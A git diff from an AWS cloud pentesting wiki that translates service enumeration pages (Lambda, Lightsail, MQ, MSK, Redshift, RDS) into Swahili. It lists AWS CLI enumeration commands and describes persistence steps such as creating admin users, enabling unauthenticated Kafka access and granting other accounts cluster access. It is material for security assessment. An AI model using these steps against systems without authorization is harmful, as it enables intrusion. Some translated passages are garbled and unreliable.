### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za Lambda kuboresha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Ufikiaji Usio na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Kudumu {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Marejeleo - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..3f7627bcc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWSā€™ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail inatoa njia **rahisi**, nyepesi kwa watumiaji wapya wa wingu kunufaika na huduma za kompyuta za wingu za AWS. Inakuwezesha kupeleka huduma za wavuti za kawaida na za kawaida kwa sekunde kupitia **VMs** (**EC2**) na **containers**.\ +Ni **EC2 ndogo + Route53 + ECS**. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,14 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Changanua Snapshots -### Analyse Snapshots - -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +Inawezekana kuzalisha **snapshots za instance na database za uhusiano kutoka lightsail**. Hivyo unaweza kuangalia hizo kwa njia ile ile unavyoweza kuangalia [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) na [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). ### Metadata -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. +**Kipengele cha metadata kinapatikana kutoka lightsail**, lakini mashine zinaendesha katika **akaunti ya AWS inayosimamiwa na AWS** hivyo huwezi kudhibiti **ni ruhusa zipi zinatolewa**. Hata hivyo, ikiwa utapata njia ya kutumia hizo, utakuwa unatumia moja kwa moja AWS. ### Privesc @@ -57,7 +55,3 @@ It's possible to generate **instance and relational database snapshots from ligh {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..97450c91c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Utangulizi wa Wakala wa Ujumbe -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Wakala wa ujumbe** hutumikia kama wasaidizi, wakirahisisha mawasiliano kati ya mifumo tofauti ya programu, ambayo inaweza kujengwa kwenye majukwaa mbalimbali na kuandikwa kwa lugha tofauti. **Amazon MQ** inarahisisha uwekaji, uendeshaji, na matengenezo ya wakala wa ujumbe kwenye AWS. Inatoa huduma zinazodhibitiwa kwa **Apache ActiveMQ** na **RabbitMQ**, kuhakikisha upatikanaji usio na mshono na masasisho ya toleo la programu kiotomatiki. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ ni programu maarufu ya **kuweka ujumbe kwenye foleni**, pia inajulikana kama _wakala wa ujumbe_ au _msimamizi wa foleni_. Kimsingi ni mfumo ambapo foleni zinawekwa. Programu zinawasiliana na foleni hizi ili **kutuma na kupokea ujumbe**. Ujumbe katika muktadha huu unaweza kubeba aina mbalimbali za taarifa, kuanzia amri za kuanzisha michakato kwenye programu nyingine (labda kwenye seva tofauti) hadi ujumbe wa maandiko rahisi. Ujumbe unashikiliwa na programu ya msimamizi wa foleni hadi unaporejeshwa na kusindika na programu inayopokea. AWS inatoa suluhisho rahisi la kutumia kwa kuhost na kusimamia seva za RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQĀ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQĀ® ni wakala maarufu wa ujumbe wa wazi, unaotegemea Java, unaojulikana kwa ufanisi wake. Inasaidia protokali nyingi za viwango vya tasnia, ikitoa ulinganifu mpana wa wateja katika aina mbalimbali za lugha na majukwaa. Watumiaji wanaweza: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- Kuunganisha na wateja waliandikwa kwa JavaScript, C, C++, Python, .Net, na zaidi. +- Kutumia protokali ya **AMQP** kuunganisha programu kutoka majukwaa tofauti. +- Kutumia **STOMP** juu ya websockets kwa kubadilishana ujumbe wa programu za wavuti. +- Kusimamia vifaa vya IoT kwa **MQTT**. +- Kudumisha miundombinu ya **JMS** iliyopo na kupanua uwezo wake. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. +Uwezo na kubadilika kwa ActiveMQ hufanya iwe sawa kwa mahitaji mengi ya ujumbe. ## Enumeration - ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: Onyesha jinsi ya kuhesabu RabbitMQ na ActiveMQ ndani na jinsi ya kusikiliza kwenye foleni zote na kutuma data (tuma PR ikiwa unajua jinsi ya kufanya hivi) ## Privesc @@ -66,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +Ikiwa unajua taarifa za kuingia kwenye konsoli ya wavuti ya RabbitMQ, unaweza kuunda mtumiaji mpya mwenye mamlaka ya admin. ## References @@ -74,7 +72,3 @@ If you know the credentials to access the RabbitMQ web console, you can create a - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..28b1c1b9d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** ni huduma inayosimamiwa kikamilifu, ikirahisisha maendeleo na utekelezaji wa programu zinazoshughulikia data za mtiririko kupitia **Apache Kafka**. Operesheni za control-plane, ikiwa ni pamoja na uundaji, sasisho, na kufuta **clusters**, zinatolewa na Amazon MSK. Huduma hii inaruhusu matumizi ya operesheni za data-plane za Apache Kafka, zinazojumuisha uzalishaji na matumizi ya data. Inafanya kazi kwenye **toleo la chanzo wazi la Apache Kafka**, ikihakikisha ufanisi na programu zilizopo, zana, na plugins kutoka kwa washirika na **jamii ya Apache Kafka**, ikiondoa hitaji la mabadiliko katika msimbo wa programu. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +Kwa upande wa uaminifu, Amazon MSK imeundwa ili **kujigundua na kupona kutoka kwa hali za kawaida za kushindwa kwa cluster**, ikihakikisha kwamba programu za wazalishaji na watumiaji zinaendelea na shughuli zao za kuandika na kusoma data bila usumbufu mkubwa. Aidha, inalenga kuboresha michakato ya nakala za data kwa kujaribu **kurudisha matumizi ya hifadhi ya wakala walioondolewa**, hivyo kupunguza kiasi cha data kinachohitajika kuigwa na Apache Kafka. -### **Types** +### **Aina** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +Kuna aina 2 za clusters za Kafka ambazo AWS inaruhusu kuunda: Iliyotolewa na Isiyo na Server. -From the point of view of an attacker you need to know that: +Kwa mtazamo wa mshambuliaji unahitaji kujua kwamba: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **Isiyo na Server haiwezi kuwa hadharani moja kwa moja** (inaweza kukimbia tu kwenye VPN bila IP yoyote iliyofichuliwa hadharani). Hata hivyo, **Iliyotolewa** inaweza kuundwa ili kupata **IP ya hadharani** (kwa kawaida haipatikani) na kuunda **kikundi cha usalama** ili **kufichua** bandari zinazohusiana. +- **Isiyo na Server** **inasaidia tu IAM** kama njia ya uthibitisho. **Iliyotolewa** inasaidia uthibitisho wa SASL/SCRAM (**nenosiri**), uthibitisho wa **IAM**, uthibitisho wa Msimamizi wa **Cheti** cha AWS (ACM) na ufikiaji **usio na uthibitisho**. +- Kumbuka kwamba haiwezekani kufichua hadharani Kafka Iliyotolewa ikiwa ufikiaji usio na uthibitisho umewezeshwa. ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Kafka IAM Access (katika serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,7 +72,6 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} @@ -90,14 +86,10 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Ikiwa unatarajia **kuwa na ufikiaji wa VPC** ambapo Kafka iliyotolewa iko, unaweza **kuwezesha ufikiaji usioidhinishwa**, ikiwa **uthibitishaji wa SASL/SCRAM**, **soma** nenosiri kutoka kwa siri, toa **mwingine mtumiaji aliye na ruhusa za IAM** (ikiwa IAM au serverless inatumika) au kudumu na **vyeti**. ## References - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..a3e2ba041 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Taarifa za Msingi -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations inarahisisha uundaji wa akaunti mpya za AWS bila gharama za ziada. Rasilimali zinaweza kugawanywa kwa urahisi, akaunti zinaweza kuunganishwa kwa ufanisi, na sera za utawala zinaweza kutumika kwa akaunti binafsi au vikundi, kuboresha usimamizi na udhibiti ndani ya shirika. -Key Points: +Mambo Muhimu: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Uundaji wa Akaunti Mpya**: AWS Organizations inaruhusu uundaji wa akaunti mpya za AWS bila malipo ya ziada. +- **Gawanya Rasilimali**: Inarahisisha mchakato wa kugawa rasilimali kati ya akaunti. +- **Uunganishaji wa Akaunti**: Akaunti zinaweza kuunganishwa pamoja, na kufanya usimamizi kuwa rahisi zaidi. +- **Sera za Utawala**: Sera zinaweza kutumika kwa akaunti au vikundi vya akaunti, kuhakikisha kufuata sheria na utawala katika shirika. -You can find more information in: +Unaweza kupata maelezo zaidi katika: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Marejeo - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..57d21d9f5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -4,25 +4,17 @@ ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +Inaruhusu **kuunganisha mtandao wa kibinafsi wa kampuni na AWS** (hivyo unaweza kuathiri EC2 instance na kufikia mtandao wa kampuni). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` - ## Support -In AWS you can access current and previous support cases via the API - +Katika AWS unaweza kufikia kesi za msaada za sasa na za awali kupitia API ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..1de64805f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift ni huduma inayosimamiwa kikamilifu ambayo inaweza kupanuka hadi zaidi ya petabyte kwa ukubwa, ambayo inatumika kama **ghala la data kwa suluhisho za big data**. Kwa kutumia klasta za Redshift, unaweza kufanya uchambuzi dhidi ya seti zako za data kwa kutumia zana za maswali za SQL za haraka na programu za akili ya biashara ili kupata ufahamu mkubwa wa maono ya biashara yako. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift inatoa usimbaji wa data wakati wa kupumzika kwa kutumia ngazi nne za funguo za usimbaji kwa kutumia KMS au CloudHSM kusimamia ngazi ya juu ya funguo**. **Wakati usimbaji umewezeshwa kwa klasta yako, hauwezi kuzuiliwa na kinyume chake**. Wakati una klasta isiyo na usimbaji, haiwezi kusimbwa. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +Usimbaji wa klasta yako unaweza kutokea tu wakati wa uundaji wake, na mara tu inaposimbwa, data, metadata, na picha zozote pia zimefungwa. Ngazi za funguo za usimbaji ni kama ifuatavyo, **ngazi ya kwanza ni funguo kuu, ngazi ya pili ni funguo za usimbaji za klasta, CEK, ngazi ya tatu, funguo za usimbaji za hifadhidata, DEK, na hatimaye ngazi ya nne, funguo za usimbaji za data wenyewe**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Wakati wa uundaji wa klasta yako, unaweza kuchagua **funguo za KMS za default** kwa Redshift au kuchagua **CMK yako mwenyewe**, ambayo inakupa urahisi zaidi juu ya udhibiti wa funguo, hasa kutoka mtazamo wa kuweza kukaguliwa. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +Funguo za KMS za default kwa Redshift zinaundwa kiotomatiki na Redshift wakati wa mara ya kwanza chaguo la funguo linapochaguliwa na kutumika, na inasimamiwa kikamilifu na AWS. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Funguo hii ya KMS kisha inasimbwa kwa funguo kuu ya CMK, ngazi ya kwanza. Funguo hii ya data ya KMS iliyosimbwa kisha inatumika kama funguo za usimbaji za klasta, CEK, ngazi ya pili. CEK hii kisha inatumwa na KMS kwa Redshift ambapo inahifadhiwa tofauti na klasta. Redshift kisha inatuma CEK hii iliyosimbwa kwa klasta kupitia njia salama ambapo inahifadhiwa kwenye kumbukumbu. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift kisha inaomba KMS kusimbua CEK, ngazi ya pili. CEK hii iliyosimbwa kisha inahifadhiwa pia kwenye kumbukumbu. Redshift kisha inaunda funguo za usimbaji za hifadhidata za nasibu, DEK, ngazi ya tatu, na kuziingiza kwenye kumbukumbu ya klasta. CEK iliyosimbwa kwenye kumbukumbu kisha inasimbua DEK, ambayo pia inahifadhiwa kwenye kumbukumbu. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +DEK hii iliyosimbwa kisha inatumwa kupitia njia salama na kuhifadhiwa katika Redshift tofauti na klasta. CEK na DEK sasa zimehifadhiwa kwenye kumbukumbu ya klasta zote kwa njia ya usimbaji na usimbuaji. DEK iliyosimbwa kisha inatumika kusimbua funguo za data, ngazi ya nne, ambazo zinaundwa kwa nasibu na Redshift kwa kila block ya data katika hifadhidata. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Unaweza kutumia AWS Trusted Advisor kufuatilia usanidi wa ndoo zako za Amazon S3 na kuhakikisha kuwa uandishi wa ndoo umewezeshwa, ambayo inaweza kuwa muhimu kwa kufanya ukaguzi wa usalama na kufuatilia mifumo ya matumizi katika S3. ### CloudHSM
-Using Redshift with CloudHSM +Kutumia Redshift na CloudHSM -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +Wakati unafanya kazi na CloudHSM ili kutekeleza usimbaji wako, kwanza lazima uanzishe muunganisho wa kuaminika kati ya mteja wako wa HSM na Redshift wakati wa kutumia vyeti vya mteja na seva. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +Muunganisho huu unahitajika kutoa mawasiliano salama, kuruhusu funguo za usimbaji kutumwa kati ya mteja wako wa HSM na klasta zako za Redshift. Kwa kutumia jozi ya funguo za kibinafsi na za umma zilizoundwa kwa nasibu, Redshift inaunda cheti cha mteja wa umma, ambacho kinasimbwa na kuhifadhiwa na Redshift. Hii lazima ipakuliwe na kuandikishwa kwa mteja wako wa HSM, na kupewa sehemu sahihi ya HSM. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Basi lazima uweke Redshift na maelezo yafuatayo ya mteja wako wa HSM: anwani ya IP ya HSM, jina la sehemu ya HSM, nenosiri la sehemu ya HSM, na cheti cha seva ya umma ya HSM, ambacho kinasimbwa na CloudHSM kwa kutumia funguo kuu za ndani. Mara tu habari hii itakapopewa, Redshift itathibitisha na kuthibitisha kwamba inaweza kuungana na kufikia sehemu ya maendeleo. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Ikiwa sera zako za usalama za ndani au udhibiti wa utawala zinataka kwamba lazima uweke mzunguko wa funguo, basi hii inawezekana na Redshift ikikuruhusu kubadilisha funguo za usimbaji kwa klasta zilizofungwa, hata hivyo, unahitaji kuwa makini kwamba wakati wa mchakato wa kubadilisha funguo, itafanya klasta kuwa haipatikani kwa muda mfupi sana, na hivyo ni bora kubadilisha funguo tu unapohitaji, au ikiwa unahisi zinaweza kuwa zimeathiriwa. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Wakati wa kubadilisha, Redshift itabadilisha CEK kwa klasta yako na kwa nakala zozote za klasta hiyo. Itabadilisha DEK kwa klasta lakini haiwezekani kubadilisha DEK kwa picha zilizohifadhiwa katika S3 ambazo zimefungwa kwa kutumia DEK. Itaiweka klasta katika hali ya 'kubadilisha funguo' hadi mchakato ukamilike wakati hali itarudi kuwa 'inapatikana'.
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,7 +81,6 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} @@ -91,13 +89,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -The following actions allow to grant access to other AWS accounts to the cluster: +Hatua zifuatazo zinaruhusu kutoa ufikiaji kwa akaunti nyingine za AWS kwa klasta: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..746910fab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,74 +4,73 @@ ## Basic Information -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +Huduma ya **Relational Database Service (RDS)** inayotolewa na AWS imeundwa kuboresha uwekaji, uendeshaji, na kupanua **database ya uhusiano katika wingu**. Huduma hii inatoa faida za ufanisi wa gharama na upanuzi huku ikitengeneza kazi zinazohitaji nguvu kama vile ugawaji wa vifaa, usanidi wa database, urekebishaji, na nakala za akiba. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS inasaidia injini mbalimbali maarufu za database za uhusiano ikiwa ni pamoja na MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, na Amazon Aurora, ikiwa na ufanisi kwa MySQL na PostgreSQL. -Key features of RDS include: +Vipengele muhimu vya RDS ni pamoja na: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **Usimamizi wa mifano ya database** umewekwa rahisi. +- Uundaji wa **nakala za kusoma** ili kuboresha utendaji wa kusoma. +- Usanidi wa **uzinduzi wa Multi-Availability Zone (AZ)** ili kuhakikisha upatikanaji wa juu na mifumo ya kuhamasisha. +- **Ushirikiano** na huduma nyingine za AWS, kama: +- AWS Identity and Access Management (**IAM**) kwa udhibiti wa ufikiaji thabiti. +- AWS **CloudWatch** kwa ufuatiliaji na vipimo vya kina. +- AWS Key Management Service (**KMS**) kwa kuhakikisha usimbaji fiche wakati wa kupumzika. ## Credentials -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +Unapounda klasta ya DB jina la **mtumiaji mkuu** linaweza kuwekewa usanidi (**`admin`** kwa chaguo-msingi). Ili kuunda nenosiri la mtumiaji huyu unaweza: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Onyesha** nenosiri **mwenyewe** +- Mwambie RDS **ijitengeneze** yenyewe +- Mwambie RDS kusimamia katika **AWS Secret Manager** iliyosimbwa kwa ufunguo wa KMS
### Authentication -There are 3 types of authentication options, but using the **master password is always allowed**: +Kuna aina 3 za chaguo za uthibitishaji, lakini kutumia **nenosiri la mkuu daima linaruhusiwa**:
### Public Access & VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +Kwa chaguo-msingi **hakuna ufikiaji wa umma unaotolewa** kwa databases, hata hivyo inaweza **kutolewa**. Hivyo, kwa chaguo-msingi mashine tu kutoka VPC hiyo hiyo zitakuwa na uwezo wa kuifikia ikiwa **kikundi cha usalama** kilichochaguliwa (kimehifadhiwa katika EC2 SG) kinaruhusu. -Instead of exposing a DB instance, itā€™s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +Badala ya kufichua mfano wa DB, inawezekana kuunda **RDS Proxy** ambayo **inaboresha** **upanuzi** & **upatikanaji** wa klasta ya DB. -Moreover, the **database port can be modified** also. +Zaidi ya hayo, **bandari ya database inaweza kubadilishwa** pia. ### Encryption -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**Usimbaji fiche umewezeshwa kwa chaguo-msingi** kwa kutumia ufunguo unaosimamiwa na AWS (ufunguo wa CMK unaweza kuchaguliwa badala yake). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Kwa kuwezesha usimbaji wako, unawawezesha **usimbaji fiche wakati wa kupumzika kwa uhifadhi wako, picha za snapshot, nakala za kusoma na nakala zako za akiba**. Funguo za kusimamia usimbaji huu zinaweza kutolewa kwa kutumia **KMS**.\ +Haiwezekani kuongeza kiwango hiki cha usimbaji baada ya 